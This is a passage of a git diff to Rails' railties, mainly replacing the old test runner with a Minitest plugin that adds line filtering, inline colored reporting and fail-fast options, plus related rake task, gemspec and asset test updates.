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" /> + + <p class="version"> + <strong>Rails version:</strong> <%= Rails.version %><br /> + <strong>Ruby version:</strong> <%= RUBY_VERSION %> (<%= RUBY_PLATFORM %>) + </p> + </section> + </div> +</body> </html> diff --git a/railties/lib/rails/test_help.rb b/railties/lib/rails/test_help.rb index d52bb46728..5cc1b5b219 100644 --- a/railties/lib/rails/test_help.rb +++ b/railties/lib/rails/test_help.rb @@ -3,13 +3,14 @@ abort("Abort testing: Your Rails environment is running in production mode!") if Rails.env.production? require "rails/test_unit/minitest_plugin" -require 'active_support/testing/autorun' require 'active_support/test_case' require 'action_controller' require 'action_controller/test_case' require 'action_dispatch/testing/integration' require 'rails/generators/test_case' +require 'active_support/testing/autorun' + if defined?(ActiveRecord::Base) ActiveRecord::Migration.maintain_test_schema! @@ -27,14 +28,14 @@ if defined?(ActiveRecord::Base) end class ActionController::TestCase - def setup + def before_setup # :nodoc: @routes = Rails.application.routes super end end class ActionDispatch::IntegrationTest - def setup + def before_setup # :nodoc: @routes = Rails.application.routes super end diff --git a/railties/lib/rails/test_unit/line_filtering.rb b/railties/lib/rails/test_unit/line_filtering.rb new file mode 100644 index 0000000000..dd9732bb12 --- /dev/null +++ b/railties/lib/rails/test_unit/line_filtering.rb @@ -0,0 +1,78 @@ +require 'method_source' + +module Rails + module LineFiltering # :nodoc: + def run(reporter, options = {}) + if options[:patterns] && options[:patterns].any? { |p| p =~ /:\d+/ } + options[:filter] = \ + CompositeFilter.new(self, options[:filter], options[:patterns]) + end + + super + end + end + + class CompositeFilter # :nodoc: + attr_reader :named_filter + + def initialize(runnable, filter, patterns) + @runnable = runnable + @named_filter = derive_named_filter(filter) + @filters = [ @named_filter, *derive_line_filters(patterns) ].compact + end + + # Minitest uses === to find matching filters. + def ===(method) + @filters.any? { |filter| filter === method } + end + + private + def derive_named_filter(filter) + if filter.respond_to?(:named_filter) + filter.named_filter + elsif filter =~ %r%/(.*)/% # Regexp filtering copied from Minitest. + Regexp.new $1 + elsif filter.is_a?(String) + filter + end + end + + def derive_line_filters(patterns) + patterns.flat_map do |file_and_line| + file, *lines = file_and_line.split(':') + + if lines.empty? + Filter.new(@runnable, file, nil) if file + else + lines.map { |line| Filter.new(@runnable, file, line) } + end + end + end + end + + class Filter # :nodoc: + def initialize(runnable, file, line) + @runnable, @file = runnable, File.expand_path(file) + @line = line.to_i if line + end + + def ===(method) + return unless @runnable.method_defined?(method) + + if @line + test_file, test_range = definition_for(@runnable.instance_method(method)) + test_file == @file && test_range.include?(@line) + else + @runnable.instance_method(method).source_location.first == @file + end + end + + private + def definition_for(method) + file, start_line = method.source_location + end_line = method.source.count("\n") + start_line - 1 + + return file, start_line..end_line + end + end +end diff --git a/railties/lib/rails/test_unit/minitest_plugin.rb b/railties/lib/rails/test_unit/minitest_plugin.rb index 70ce9d3360..076ab536be 100644 --- a/railties/lib/rails/test_unit/minitest_plugin.rb +++ b/railties/lib/rails/test_unit/minitest_plugin.rb @@ -1,14 +1,98 @@ -require "minitest" +require "active_support/core_ext/module/attribute_accessors" require "rails/test_unit/reporter" +require "rails/test_unit/test_requirer" +require 'shellwords' -def Minitest.plugin_rails_init(options) - self.reporter << Rails::TestUnitReporter.new(options[:io], options) - if $rails_test_runner && (method = $rails_test_runner.find_method) - options[:filter] = method +module Minitest + class SuppressedSummaryReporter < SummaryReporter + # Disable extra failure output after a run if output is inline. + def aggregated_results + super unless options[:output_inline] + end end - if !($rails_test_runner && $rails_test_runner.show_backtrace?) - Minitest.backtrace_filter = Rails.backtrace_cleaner + def self.plugin_rails_options(opts, options) + executable = ::Rails::TestUnitReporter.executable + opts.separator "" + opts.separator "Usage: #{executable} [options] [files or directories]" + opts.separator "You can run a single test by appending a line number to a filename:" + opts.separator "" + opts.separator " #{executable} test/models/user_test.rb:27" + opts.separator "" + opts.separator "You can run multiple files and directories at the same time:" + opts.separator "" + opts.separator " #{executable} test/controllers test/integration/login_test.rb" + opts.separator "" + opts.separator "By default test failures and errors are reported inline during a run." + opts.separator "" + + opts.separator "Rails options:" + opts.on("-e", "--environment ENV", + "Run tests in the ENV environment") do |env| + options[:environment] = env.strip + end + + opts.on("-b", "--backtrace", + "Show the complete backtrace") do + options[:full_backtrace] = true + end + + opts.on("-d", "--defer-output", + "Output test failures and errors after the test run") do + options[:output_inline] = false + end + + opts.on("-f", "--fail-fast", + "Abort test run on first failure or error") do + options[:fail_fast] = true + end + + opts.on("-c", "--[no-]color", + "Enable color in the output") do |value| + options[:color] = value + end + + options[:color] = true + options[:output_inline] = true + options[:patterns] = defined?(@rake_patterns) ? @rake_patterns : opts.order! + end + + # Running several Rake tasks in a single command would trip up the runner, + # as the patterns would also contain the other Rake tasks. + def self.rake_run(patterns) # :nodoc: + @rake_patterns = patterns + passed = run(Shellwords.split(ENV['TESTOPTS'] || '')) + exit passed unless passed + passed end + + # Owes great inspiration to test runner trailblazers like RSpec, + # minitest-reporters, maxitest and others. + def self.plugin_rails_init(options) + self.run_with_rails_extension = true + + ENV["RAILS_ENV"] = options[:environment] || "test" + + ::Rails::TestRequirer.require_files(options[:patterns]) unless run_with_autorun + + unless options[:full_backtrace] || ENV["BACKTRACE"] + # Plugin can run without Rails loaded, check before filtering. + Minitest.backtrace_filter = ::Rails.backtrace_cleaner if ::Rails.respond_to?(:backtrace_cleaner) + end + + # Replace progress reporter for colors. + reporter.reporters.delete_if { |reporter| reporter.kind_of?(SummaryReporter) || reporter.kind_of?(ProgressReporter) } + reporter << SuppressedSummaryReporter.new(options[:io], options) + reporter << ::Rails::TestUnitReporter.new(options[:io], options) + end + + mattr_accessor(:run_with_autorun) { false } + mattr_accessor(:run_with_rails_extension) { false } end -Minitest.extensions << 'rails' + +# Put Rails as the first plugin minitest initializes so other plugins +# can override or replace our default reporter setup. +# Since minitest only loads plugins if its extensions are empty we have +# to call `load_plugins` first. +Minitest.load_plugins +Minitest.extensions.unshift 'rails' diff --git a/railties/lib/rails/test_unit/railtie.rb b/railties/lib/rails/test_unit/railtie.rb index 75180ff978..511cee33bd 100644 --- a/railties/lib/rails/test_unit/railtie.rb +++ b/railties/lib/rails/test_unit/railtie.rb @@ -1,3 +1,5 @@ +require 'rails/test_unit/line_filtering' + if defined?(Rake.application) && Rake.application.top_level_tasks.grep(/^(default$|test(:|$))/).any? ENV['RAILS_ENV'] ||= 'test' end @@ -11,6 +13,10 @@ module Rails c.integration_tool :test_unit end + initializer "test_unit.line_filtering" do + ActiveSupport::TestCase.extend Rails::LineFiltering + end + rake_tasks do load "rails/test_unit/testing.rake" end diff --git a/railties/lib/rails/test_unit/reporter.rb b/railties/lib/rails/test_unit/reporter.rb index 64e99626eb..4086d5b731 100644 --- a/railties/lib/rails/test_unit/reporter.rb +++ b/railties/lib/rails/test_unit/reporter.rb @@ -1,9 +1,36 @@ +require "active_support/core_ext/class/attribute" require "minitest" module Rails class TestUnitReporter < Minitest::StatisticsReporter + class_attribute :executable + self.executable = "bin/rails test" + + def record(result) + super + + if options[:verbose] + io.puts color_output(format_line(result), by: result) + else + io.print color_output(result.result_code, by: result) + end + + if output_inline? && result.failure && (!result.skipped? || options[:verbose]) + io.puts + io.puts + io.puts color_output(result, by: result) + io.puts + io.puts format_rerun_snippet(result) + io.puts + end + + if fail_fast? && result.failure && !result.skipped? + raise Interrupt + end + end + def report - return if results.empty? + return if output_inline? || filtered_results.empty? io.puts io.puts "Failed tests:" io.puts @@ -11,12 +38,61 @@ module Rails end def aggregated_results # :nodoc: - filtered_results = results.dup - filtered_results.reject!(&:skipped?) unless options[:verbose] - filtered_results.map do |result| - location, line = result.method(result.name).source_location - "bin/rails test #{location}:#{line}" - end.join "\n" + filtered_results.map { |result| format_rerun_snippet(result) }.join "\n" + end + + def filtered_results + if options[:verbose] + results + else + results.reject(&:skipped?) + end + end + + def relative_path_for(file) + file.sub(/^#{app_root}\/?/, '') end + + private + def output_inline? + options[:output_inline] + end + + def fail_fast? + options[:fail_fast] + end + + def format_line(result) + "%s#%s = %.2f s = %s" % [result.class, result.name, result.time, result.result_code] + end + + def format_rerun_snippet(result) + location, line = result.method(result.name).source_location + "#{self.executable} #{relative_path_for(location)}:#{line}" + end + + def app_root + @app_root ||= defined?(ENGINE_ROOT) ? ENGINE_ROOT : Rails.root + end + + def colored_output? + options[:color] && io.respond_to?(:tty?) && io.tty? + end + + codes = { red: 31, green: 32, yellow: 33 } + COLOR_BY_RESULT_CODE = { + "." => codes[:green], + "E" => codes[:red], + "F" => codes[:red], + "S" => codes[:yellow] + } + + def color_output(string, by:) + if colored_output? + "\e[#{COLOR_BY_RESULT_CODE[by.result_code]}m#{string}\e[0m" + else + string + end + end end end diff --git a/railties/lib/rails/test_unit/runner.rb b/railties/lib/rails/test_unit/runner.rb deleted file mode 100644 index 6700d90a33..0000000000 --- a/railties/lib/rails/test_unit/runner.rb +++ /dev/null @@ -1,138 +0,0 @@ -require "ostruct" -require "optparse" -require "rake/file_list" -require "method_source" - -module Rails - class TestRunner - class Options - def self.parse(args) - options = { backtrace: !ENV["BACKTRACE"].nil?, name: nil, environment: "test" } - - opt_parser = ::OptionParser.new do |opts| - opts.banner = "Usage: bin/rails test [options] [file or directory]" - - opts.separator "" - opts.on("-e", "--environment [ENV]", - "run tests in the ENV environment") do |env| - options[:environment] = env.strip - end - opts.separator "" - opts.separator "Filter options:" - opts.separator "" - opts.separator <<-DESC - You can run a single test by appending the line number to filename: - - bin/rails test test/models/user_test.rb:27 - - DESC - - opts.on("-n", "--name [NAME]", - "Only run tests matching NAME") do |name| - options[:name] = name - end - opts.on("-p", "--pattern [PATTERN]", - "Only run tests matching PATTERN") do |pattern| - options[:name] = "/#{pattern}/" - end - - opts.separator "" - opts.separator "Output options:" - - opts.on("-b", "--backtrace", - "show the complte backtrace") do - options[:backtrace] = true - end - - opts.separator "" - opts.separator "Common options:" - - opts.on_tail("-h", "--help", "Show this message") do - puts opts - exit - end - end - - opt_parser.order!(args) - - options[:patterns] = [] - while arg = args.shift - if (file_and_line = arg.split(':')).size > 1 - options[:filename], options[:line] = file_and_line - options[:filename] = File.expand_path options[:filename] - options[:line] &&= options[:line].to_i - else - arg = arg.gsub(':', '') - if Dir.exists?("#{arg}") - options[:patterns] << File.expand_path("#{arg}/**/*_test.rb") - elsif File.file?(arg) - options[:patterns] << File.expand_path(arg) - end - end - end - options - end - end - - def initialize(options = {}) - @options = options - end - - def self.run(arguments) - options = Rails::TestRunner::Options.parse(arguments) - Rails::TestRunner.new(options).run - end - - def run - $rails_test_runner = self - ENV["RAILS_ENV"] = @options[:environment] - run_tests - end - - def find_method - return @options[:name] if @options[:name] - return unless @options[:line] - method = test_methods.find do |location, test_method, start_line, end_line| - location == @options[:filename] && - (start_line..end_line).include?(@options[:line].to_i) - end - method[1] if method - end - - def show_backtrace? - @options[:backtrace] - end - - def test_files - return [@options[:filename]] if @options[:filename] - if @options[:patterns] && @options[:patterns].count > 0 - pattern = @options[:patterns] - else - pattern = "test/**/*_test.rb" - end - Rake::FileList[pattern] - end - - private - def run_tests - test_files.to_a.each do |file| - require File.expand_path file - end - end - - def test_methods - methods_map = [] - suites = Minitest::Runnable.runnables.shuffle - suites.each do |suite_class| - suite_class.runnable_methods.each do |test_method| - method = suite_class.instance_method(test_method) - location = method.source_location - start_line = location.last - end_line = method.source.split("\n").size + start_line - 1 - methods_map << [File.expand_path(location.first), test_method, start_line, end_line] - end - end - methods_map - end - end -end diff --git a/railties/lib/rails/test_unit/sub_test_task.rb b/railties/lib/rails/test_unit/sub_test_task.rb deleted file mode 100644 index 6fa96d2ced..0000000000 --- a/railties/lib/rails/test_unit/sub_test_task.rb +++ /dev/null @@ -1,126 +0,0 @@ -require 'rake/testtask' - -module Rails - class TestTask < Rake::TestTask # :nodoc: all - # A utility class which is used primarily in "rails/test_unit/testing.rake" - # to help define rake tasks corresponding to <tt>rake test</tt>. - # - # This class takes a TestInfo class and defines the appropriate rake task - # based on the information, then invokes it. - class TestCreator # :nodoc: - def initialize(info) - @info = info - end - - def invoke_rake_task - if @info.files.any? - create_and_run_single_test - reset_application_tasks - else - Rake::Task[ENV['TEST'] ? 'test:single' : 'test:run'].invoke - end - end - - private - - def create_and_run_single_test - Rails::TestTask.new('test:single') { |t| - t.test_files = @info.files - } - ENV['TESTOPTS'] ||= @info.opts - Rake::Task['test:single'].invoke - end - - def reset_application_tasks - Rake.application.top_level_tasks.replace @info.tasks - end - end - - # This is a utility class used by the <tt>TestTask::TestCreator</tt> class. - # This class takes a set of test tasks and checks to see if they correspond - # to test files (or can be transformed into test files). Calling <tt>files</tt> - # provides the set of test files and is used when initializing tests after - # a call to <tt>rake test</tt>. - class TestInfo # :nodoc: - def initialize(tasks) - @tasks = tasks - @files = nil - end - - def files - @files ||= @tasks.map { |task| - [task, translate(task)].find { |file| test_file?(file) } - }.compact - end - - def translate(file) - if file =~ /^app\/(.*)$/ - "test/#{$1.sub(/\.rb$/, '')}_test.rb" - else - "test/#{file}_test.rb" - end - end - - def tasks - @tasks - test_file_tasks - opt_names - end - - def opts - opts = opt_names - if opts.any? - "-n #{opts.join ' '}" - end - end - - private - - def test_file_tasks - @tasks.find_all { |task| - [task, translate(task)].any? { |file| test_file?(file) } - } - end - - def test_file?(file) - file =~ /^test/ && File.file?(file) && !File.directory?(file) - end - - def opt_names - (@tasks - test_file_tasks).reject { |t| task_defined? t } - end - - def task_defined?(task) - Rake::Task.task_defined? task - end - end - - def self.test_creator(tasks) - info = TestInfo.new(tasks) - TestCreator.new(info) - end - - def initialize(name = :test) - super - @libs << "test" # lib *and* test seem like a better default - end - - def define - task @name do - if ENV['TESTOPTS'] - ARGV.replace Shellwords.split ENV['TESTOPTS'] - end - libs = @libs - $LOAD_PATH - $LOAD_PATH.unshift(*libs) - file_list.each { |fl| - FileList[fl].to_a.each { |f| require File.expand_path f } - } - end - end - end - - # Silence the default description to cut down on `rake -T` noise. - class SubTestTask < Rake::TestTask # :nodoc: - def desc(string) - # Ignore the description. - end - end -end diff --git a/railties/lib/rails/test_unit/test_requirer.rb b/railties/lib/rails/test_unit/test_requirer.rb new file mode 100644 index 0000000000..8b211ce130 --- /dev/null +++ b/railties/lib/rails/test_unit/test_requirer.rb @@ -0,0 +1,28 @@ +require 'active_support/core_ext/object/blank' +require 'rake/file_list' + +module Rails + class TestRequirer # :nodoc: + class << self + def require_files(patterns) + patterns = expand_patterns(patterns) + + Rake::FileList[patterns.compact.presence || 'test/**/*_test.rb'].to_a.each do |file| + require File.expand_path(file) + end + end + + private + def expand_patterns(patterns) + patterns.map do |arg| + arg = arg.gsub(/(:\d+)+?$/, '') + if Dir.exist?(arg) + "#{arg}/**/*_test.rb" + else + arg + end + end + end + end + end +end diff --git a/railties/lib/rails/test_unit/testing.rake b/railties/lib/rails/test_unit/testing.rake index 0f26621b59..41921e43f3 100644 --- a/railties/lib/rails/test_unit/testing.rake +++ b/railties/lib/rails/test_unit/testing.rake @@ -1,12 +1,18 @@ -require "rails/test_unit/runner" +gem 'minitest' +require 'minitest' +require 'rails/test_unit/minitest_plugin' task default: :test desc "Runs all tests in test folder" task :test do $: << "test" - args = ARGV[0] == "test" ? ARGV[1..-1] : [] - Rails::TestRunner.run(args) + pattern = if ENV.key?('TEST') + ENV['TEST'] + else + "test" + end + Minitest.rake_run([pattern]) end namespace :test do @@ -23,22 +29,22 @@ namespace :test do ["models", "helpers", "controllers", "mailers", "integration", "jobs"].each do |name| task name => "test:prepare" do $: << "test" - Rails::TestRunner.run(["test/#{name}"]) + Minitest.rake_run(["test/#{name}"]) end end task :generators => "test:prepare" do $: << "test" - Rails::TestRunner.run(["test/lib/generators"]) + Minitest.rake_run(["test/lib/generators"]) end task :units => "test:prepare" do $: << "test" - Rails::TestRunner.run(["test/models", "test/helpers", "test/unit"]) + Minitest.rake_run(["test/models", "test/helpers", "test/unit"]) end task :functionals => "test:prepare" do $: << "test" - Rails::TestRunner.run(["test/controllers", "test/mailers", "test/functional"]) + Minitest.rake_run(["test/controllers", "test/mailers", "test/functional"]) end end diff --git a/railties/railties.gemspec b/railties/railties.gemspec index 001882fdc6..fa417816eb 100644 --- a/railties/railties.gemspec +++ b/railties/railties.gemspec @@ -7,18 +7,18 @@ Gem::Specification.new do |s| s.summary = 'Tools for creating, working with, and running Rails applications.' s.description = 'Rails internals: application bootup, plugins, generators, and rake tasks.' - s.required_ruby_version = '>= 2.2.1' + s.required_ruby_version = '>= 2.2.2' s.license = 'MIT' s.author = 'David Heinemeier Hansson' s.email = 'david@loudthinking.com' - s.homepage = 'http://www.rubyonrails.org' + s.homepage = 'http://rubyonrails.org' - s.files = Dir['CHANGELOG.md', 'README.rdoc', 'RDOC_MAIN.rdoc', 'bin/**/*', 'lib/**/{*,.[a-z]*}'] + s.files = Dir['CHANGELOG.md', 'README.rdoc', 'MIT-LICENSE', 'RDOC_MAIN.rdoc', 'exe/**/*', 'lib/**/{*,.[a-z]*}'] s.require_path = 'lib' - s.bindir = 'bin' + s.bindir = 'exe' s.executables = ['rails'] s.rdoc_options << '--exclude' << '.' diff --git a/railties/test/abstract_unit.rb b/railties/test/abstract_unit.rb index 794d180e5d..2a5a731fe2 100644 --- a/railties/test/abstract_unit.rb +++ b/railties/test/abstract_unit.rb @@ -1,7 +1,5 @@ ENV["RAILS_ENV"] ||= "test" -require File.expand_path("../../../load_paths", __FILE__) - require 'stringio' require 'active_support/testing/autorun' require 'active_support/testing/stream' diff --git a/railties/test/app_rails_loader_test.rb b/railties/test/app_loader_test.rb index d4885447e6..5946c8fd4c 100644 --- a/railties/test/app_rails_loader_test.rb +++ b/railties/test/app_loader_test.rb @@ -1,11 +1,11 @@ require 'tmpdir' require 'abstract_unit' -require 'rails/app_rails_loader' +require 'rails/app_loader' -class AppRailsLoaderTest < ActiveSupport::TestCase +class AppLoaderTest < ActiveSupport::TestCase def loader @loader ||= Class.new do - extend Rails::AppRailsLoader + extend Rails::AppLoader def self.exec_arguments @exec_arguments @@ -23,7 +23,7 @@ class AppRailsLoaderTest < ActiveSupport::TestCase end def expects_exec(exe) - assert_equal [Rails::AppRailsLoader::RUBY, exe], loader.exec_arguments + assert_equal [Rails::AppLoader::RUBY, exe], loader.exec_arguments end setup do @@ -38,20 +38,20 @@ class AppRailsLoaderTest < ActiveSupport::TestCase test "is not in a Rails application if #{exe} is not found in the current or parent directories" do def loader.find_executables; end - assert !loader.exec_app_rails + assert !loader.exec_app end test "is not in a Rails application if #{exe} exists but is a folder" do FileUtils.mkdir_p(exe) - assert !loader.exec_app_rails + assert !loader.exec_app end ['APP_PATH', 'ENGINE_PATH'].each do |keyword| test "is in a Rails application if #{exe} exists and contains #{keyword}" do write exe, keyword - loader.exec_app_rails + loader.exec_app expects_exec exe end @@ -59,7 +59,7 @@ class AppRailsLoaderTest < ActiveSupport::TestCase test "is not in a Rails application if #{exe} exists but doesn't contain #{keyword}" do write exe - assert !loader.exec_app_rails + assert !loader.exec_app end test "is in a Rails application if parent directory has #{exe} containing #{keyword} and chdirs to the root directory" do @@ -68,7 +68,7 @@ class AppRailsLoaderTest < ActiveSupport::TestCase Dir.chdir('foo/bar') - loader.exec_app_rails + loader.exec_app expects_exec exe diff --git a/railties/test/application/asset_debugging_test.rb b/railties/test/application/asset_debugging_test.rb index 9a571fac3a..bcb6aff0d7 100644 --- a/railties/test/application/asset_debugging_test.rb +++ b/railties/test/application/asset_debugging_test.rb @@ -7,7 +7,10 @@ module ApplicationTests include Rack::Test::Methods def setup - build_app(initializers: true) + # FIXME: shush Sass warning spam, not relevant to testing Railties + Kernel.silence_warnings do + build_app(initializers: true) + end app_file "app/assets/javascripts/application.js", "//= require_tree ." app_file "app/assets/javascripts/xmlhr.js", "function f1() { alert(); }" @@ -33,12 +36,19 @@ module ApplicationTests teardown_app end + # FIXME: shush Sass warning spam, not relevant to testing Railties + def get(*) + Kernel.silence_warnings { super } + end + test "assets are concatenated when debug is off and compile is off either if debug_assets param is provided" do # config.assets.debug and config.assets.compile are false for production environment ENV["RAILS_ENV"] = "production" - output = Dir.chdir(app_path){ `bundle exec rake assets:precompile --trace 2>&1` } + output = Dir.chdir(app_path){ `bin/rails assets:precompile --trace 2>&1` } assert $?.success?, output - require "#{app_path}/config/environment" + + # Load app env + app "production" class ::PostsController < ActionController::Base ; end @@ -51,14 +61,14 @@ module ApplicationTests test "assets aren't concatenated when compile is true is on and debug_assets params is true" do add_to_env_config "production", "config.assets.compile = true" - ENV["RAILS_ENV"] = "production" - require "#{app_path}/config/environment" + # Load app env + app "production" class ::PostsController < ActionController::Base ; end get '/posts?debug_assets=true' - assert_match(/<script src="\/assets\/application-([0-z]+)\.js\?body=1"><\/script>/, last_response.body) - assert_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js\?body=1"><\/script>/, last_response.body) + assert_match(/<script src="\/assets\/application(\.self)?-([0-z]+)\.js\?body=1"><\/script>/, last_response.body) + assert_match(/<script src="\/assets\/xmlhr(\.self)?-([0-z]+)\.js\?body=1"><\/script>/, last_response.body) end end end diff --git a/railties/test/application/assets_test.rb b/railties/test/application/assets_test.rb index 0a2f283cce..9e8531b482 100644 --- a/railties/test/application/assets_test.rb +++ b/railties/test/application/assets_test.rb @@ -17,22 +17,32 @@ module ApplicationTests end def precompile!(env = nil) - quietly do - precompile_task = "bundle exec rake assets:precompile #{env} --trace 2>&1" - output = Dir.chdir(app_path) { %x[ #{precompile_task} ] } - assert $?.success?, output - output + with_env env.to_h do + quietly do + precompile_task = "bin/rails assets:precompile --trace 2>&1" + output = Dir.chdir(app_path) { %x[ #{precompile_task} ] } + assert $?.success?, output + output + end end end + def with_env(env) + env.each { |k, v| ENV[k.to_s] = v } + yield + ensure + env.each_key { |k| ENV.delete k.to_s } + end + def clean_assets! quietly do - assert Dir.chdir(app_path) { system('bundle exec rake assets:clobber') } + assert Dir.chdir(app_path) { system('bin/rails assets:clobber') } end end def assert_file_exists(filename) - assert Dir[filename].first, "missing #{filename}" + globbed = Dir[filename] + assert globbed.one?, "Found #{globbed.size} files matching #{filename}. All files in the directory: #{Dir.entries(File.dirname(filename)).inspect}" end def assert_no_file_exists(filename) @@ -51,7 +61,10 @@ module ApplicationTests add_to_env_config "development", "config.assets.digest = false" - require "#{app_path}/config/environment" + # FIXME: shush Sass warning spam, not relevant to testing Railties + Kernel.silence_warnings do + require "#{app_path}/config/environment" + end get "/assets/demo.js" assert_equal 'a = "/assets/rails.png";', last_response.body.strip @@ -60,9 +73,10 @@ module ApplicationTests test "assets do not require compressors until it is used" do app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();" add_to_env_config "production", "config.assets.compile = true" + add_to_env_config "production", "config.assets.precompile = []" - ENV["RAILS_ENV"] = "production" - require "#{app_path}/config/environment" + # Load app env + app "production" assert !defined?(Uglifier) get "/assets/demo.js" @@ -71,10 +85,10 @@ module ApplicationTests end test "precompile creates the file, gives it the original asset's content and run in production as default" do + app_file "app/assets/config/manifest.js", "//= link_tree ../javascripts" app_file "app/assets/javascripts/application.js", "alert();" app_file "app/assets/javascripts/foo/application.js", "alert();" - ENV["RAILS_ENV"] = nil precompile! files = Dir["#{app_path}/public/assets/application-*.js"] @@ -86,6 +100,7 @@ module ApplicationTests end def test_precompile_does_not_hit_the_database + app_file "app/assets/config/manifest.js", "//= link_tree ../javascripts" app_file "app/assets/javascripts/application.js", "alert();" app_file "app/assets/javascripts/foo/application.js", "alert();" app_file "app/controllers/users_controller.rb", <<-eoruby @@ -95,10 +110,9 @@ module ApplicationTests class User < ActiveRecord::Base; raise 'should not be reached'; end eoruby - ENV['RAILS_ENV'] = 'production' - ENV['DATABASE_URL'] = 'postgresql://baduser:badpass@127.0.0.1/dbname' - - precompile! + precompile! \ + RAILS_ENV: 'production', + DATABASE_URL: 'postgresql://baduser:badpass@127.0.0.1/dbname' files = Dir["#{app_path}/public/assets/application-*.js"] files << Dir["#{app_path}/public/assets/foo/application-*.js"].first @@ -106,9 +120,6 @@ module ApplicationTests assert_not_nil file, "Expected application.js asset to be generated, but none found" assert_equal "alert();".strip, File.read(file).strip end - ensure - ENV.delete 'RAILS_ENV' - ENV.delete 'DATABASE_URL' end test "precompile application.js and application.css and all other non JS/CSS files" do @@ -163,39 +174,64 @@ module ApplicationTests precompile! - assert_file_exists("#{app_path}/public/assets/something-*.js") + assert_file_exists("#{app_path}/public/assets/something/index-*.js") end test 'precompile use assets defined in app env config' do add_to_env_config 'production', 'config.assets.precompile = [ "something.js" ]' - app_file 'app/assets/javascripts/something.js.erb', 'alert();' - precompile! 'RAILS_ENV=production' + precompile! RAILS_ENV: 'production' assert_file_exists("#{app_path}/public/assets/something-*.js") end + test 'sprockets cache is not shared between environments' do + app_file "app/assets/images/rails.png", "notactuallyapng" + app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + add_to_env_config 'production', 'config.assets.prefix = "production_assets"' + + precompile! + + assert_file_exists("#{app_path}/public/assets/application-*.css") + + file = Dir["#{app_path}/public/assets/application-*.css"].first + assert_match(/assets\/rails-([0-z]+)\.png/, File.read(file)) + + precompile! RAILS_ENV: 'production' + + assert_file_exists("#{app_path}/public/production_assets/application-*.css") + + file = 